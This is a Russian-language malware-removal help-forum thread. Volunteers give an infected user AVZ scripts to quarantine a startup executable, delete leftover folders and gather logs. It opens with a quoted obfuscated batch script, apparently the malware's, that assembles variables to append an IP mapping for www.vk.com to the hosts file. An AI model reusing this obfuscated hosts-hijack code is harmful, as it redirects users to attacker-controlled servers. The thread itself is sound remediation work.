SET nNTORbDrO=.
SET ovpuYyss=L
SET /A PrvqRBSL=-21+23
SET SPHaXDRW=frBc
#uWGiNsVZmoFBZOJypxk#
SET /A ZBufkTDgT=-10+12
SET wkkqxYJlw=fVFa
#DjIjbuqfNEEXKhdCnlK#
SET qDIEhzrSN=v
SET izFpFDlzR=KdaN
SET /A RNwpWyUa=-90+94
SET ikoFAgjEe=GFtE
SET VZFlGdVVq=%eDzAjIYU%%dPJOrubk%%euuzUojt%%WCKDTdOwC%%dzKiibtrj%%nNTORbDrO%%sxditAvm%%RNwpWyUa%%NXEtqawWk%%oimYlHPJ%%PrvqRBSL%%GeRCfDtD%%ixeyWlfjV%%zOzJfQmX%%ZBufkTDgT%%LSWTdEvt%%QrDdqInDc%%hcFKQKRq%%PQGrOttk%%rifJcXxni%%yYKJjrhJy%%qDIEhzrSN%%oCjUPfVn%%KvePKZQJP%%qldNvKjn%%QwJOnrEpg%%iryJKdvV%%GIGEzfNA%
 echo  %VZFlGdVVq%   >>  hosts
#jRvEZteezWbEADY#
SET EOlOtXhAT=m
SET ujlCyoZDA=U
#RxTjBxPaeGihku#
SET nJiFurOmQ=.
SET PDHPsqWAL=Xnc
SET KLXsOlcQ= 
SET viPOKfQI=beEr
#KQPHWJBdNxxt#
SET /A WKouiWUE=-4+6
SET nYwPSxmN=WDX
#ybbrTgsAdUlnJZ#
SET ANnqORjd=.
SET tmpowSYY=lU
#nBSUrrjFGArlXUAoPJc#
SET RUgAsTExX= 
SET ipGxhNGl=Ao
#mKtcyjmrpEwAe#
SET wQOtKdpQk= 
SET dSTWbLeF=psm
SET DHnWtWIIZ= 
SET ojjrfBrY=ssf
#nQzOYIKyciUiRxf#
SET DhKldhWHv=c
SET KyAILCJoo=Dyg
#rIvVwbyqrpcykuriQ#
SET /A EVHKromaZ=-54+63
SET SIqeammE=xEPs
#mLEEwFPOuuhdJIOYjDK#
SET /A nYexwzsCS=-71+73
SET UNqvgqvCv=b
#eEjJOEEFthv#
SET XtErpGgKz=.
SET eYlFaEHZd=IPwT
#QLygwjFsOr#
SET /A AgIcSTJv=-25+29
SET CqBueEIWs=GCx
SET /A piwmROoI=-68+72
SET QGZyEaxK=gd
#oPbnrBOYzWYJaRPJPNo#
SET HAPQRumWv= 
SET HRnqFsvOO=bO
#ZUDHvRrREEpEKnOTjcA#
SET aUefNKPrT=W
SET xPmvRsvAK=W
#NCXLApbDffYcTsYw#
SET /A EyBxweKw=-67+68
SET WtYudVCfa=ijd
#aikSwEdUNDn#
SET uoEtyJpU=W
SET EibZNyfH=W
#TXYscDBNTQeumeufO#
SET vVjpGehC=o
SET OzzYGTnEy=mw
#gyZmPYsSmTHfIzdvqe#
SET /A rtCXHItnv=-71+73
SET kYhWTvoB=uw
#SLUnVjxoUHvZWpB#

SET wxZDFYOUZ=W
SET ySdWonmNi=x
#BRgrWUyADSoGPrJgzd#
SET xmlIdxbF= 
SET btuESjcSR=K
#flIjWlJLEfGGJ#
SET xSNXfOrAn= 
SET dOjwoPZy=f
#jPjJqWSyZQKmlQboAqx#
SET ikXfcsTEQ=.
SET BZOdAhrqz=RZBo
#ykUaQHjHoZfNXZoKLbP#
SET /A vVJEeWIcI=-11+13
SET hgcwtuAn=SAj
#UZkdpJVaptNHNxd#
SET /A hNszktch=-51+60
SET cXiQupnLJ=XT
#uxyJtvRUyRUBwX#
SET eCVXsNFBx= 
SET mxhnvUJj=gRTa
#avxncfsJHtd#
SET /A yypsbEltg=-90+94
SET zcFiaGCyT=LP
#tElbBgrHfnslpPyaP#
SET /A vOhfiLbSG=-77+79
SET rbxoxtwKO=u
#mUnTkSjXrHfESfBx#
SET LRpXkbmz= 
SET eRbyRshQ=ch
#CifvyTVjUqYqvlp#
SET yrgFFjHN=.
SET ZWQAupNC=Bg
#sqXxptCvxFHloVG#

SET GxGixayBu=K
SET kxWwutXvk=FqPo
SET xgIJTqWZl=V
SET ijnHzCxsJ=Wt
SET yOhQLvVDl=%RUgAsTExX%%xSNXfOrAn%%xmlIdxbF%%KLXsOlcQ%%EVHKromaZ%%yypsbEltg%%nJiFurOmQ%%WKouiWUE%%piwmROoI%%vOhfiLbSG%%ANnqORjd%%rtCXHItnv%%EyBxweKw%%AgIcSTJv%%ikXfcsTEQ%%nYexwzsCS%%vVJEeWIcI%%hNszktch%%DHnWtWIIZ%%wQOtKdpQk%%LRpXkbmz%%eCVXsNFBx%%wxZDFYOUZ%%uoEtyJpU%%aUefNKPrT%%yrgFFjHN%%xgIJTqWZl%%GxGixayBu%%XtErpGgKz%%DhKldhWHv%%vVjpGehC%%EOlOtXhAT%%HAPQRumWv%
 echo  %yOhQLvVDl%   >>  hosts

c:\users\VaniaLSD\AppData\Roaming\LzmeUwmdAqsk7mE
C:\LzmeUwmdAqsk7mE

удалите эти папки вручную

Удалил.

begin
 QuarantineFile('C:\Users\VaniaLSD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\s7VzUMDiH0Q.exe','');
end.

В AVZ?

Этого недостаточно. Читайте правила внимательнее.

Прошу ткнуть носом, не нашел.

[PavelA]

В AVZ?

Я для хелперов написал.

Добавлено через 2 минуты

Прошу ткнуть носом, не нашел.

* Обязательно нужно запускать данные программы с правами администратора. В Windows Vista и Windows 7 администратор понижен в правах по умолчанию, поэтому необходимо нажать правой кнопкой на программу, выбрать пункт "Запустить от имени администратора" (Run as administrator), ввести пароль администратора в появившемся окошке и нажать кнопку "OK".

Запросто.

[Nikkollo]

Выполните скрипт в AVZ (как выполнить):

begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
 ClearQuarantine;
 QuarantineFile('C:\windows\update_packet.exe','');
 QuarantineFile('C:\Users\VaniaLSD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\s7VzUMDiH0Q.exe','');
 DeleteFile('C:\Users\VaniaLSD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\s7VzUMDiH0Q.exe');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.

Компьютер перезагрузится.

После перезагрузки выполните скрипт в AVZ:

 begin
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
 end.

Загрузите quarantine.zip из папки AVZ по красной ссылке вверху темы "Прислать запрошенный карантин".

Сделайте заново лог virusinfo_syscheck.zip и лог HijackThis (пункты 2 и 3 раздела Диагностика правил) и приложите в теме.

Сделайте логи RSIT:
http://virusinfo.info/showthread.php...292#post859292
и приложите.

[VaniaLSD]

Nikkollo,
Все сделал.

Я для хелперов написал.

Добавлено через 2 минуты


* Обязательно нужно запускать данные программы с правами администратора. В Windows Vista и Windows 7 администратор понижен в правах по умолчанию, поэтому необходимо нажать правой кнопкой на программу, выбрать пункт "Запустить от имени администратора" (Run as administrator), ввести пароль администратора в появившемся окошке и нажать кнопку "OK".

Запросто.

Сорри не доконца прочел.

[thyrex]

Логи RSIT где?

[VaniaLSD]

thyrex
Забыл. Вчера вечером, во время просмотра фильма выскочил банер http://kubanparadise.com/wp-content/...0%B0%D0%BD.jpg. Я вообще в шоке

[thyrex]

C:\Users\VaniaLSD\AppData\Roaming\LzmeUwmdAqsk7mE
C:\LzmeUwmdAqsk7mE
C:\plg.txt

удалите вручную

во время просмотра фильма выскочил банер

убрали его?

[VaniaLSD]

C:\Users\VaniaLSD\AppData\Roaming\LzmeUwmdAqsk7mE
C:\LzmeUwmdAqsk7mE
C:\plg.txt

удалите вручную

Удалял и еще раз удалил.

убрали его?

Да.


"Не понос, так золотуха!" Мля теперь в Винде щелчки. Каждые 10 секунд щелкает в колонках. Меня это все зае.... ставлю винду с нуля. Форматну все диски, только сохраню важные данные.

[CyberHelper]

Статистика проведенного лечения:

• Получено карантинов: 1
• Обработано файлов: 5
• В ходе лечения вредоносные программы в карантинах не обнаружены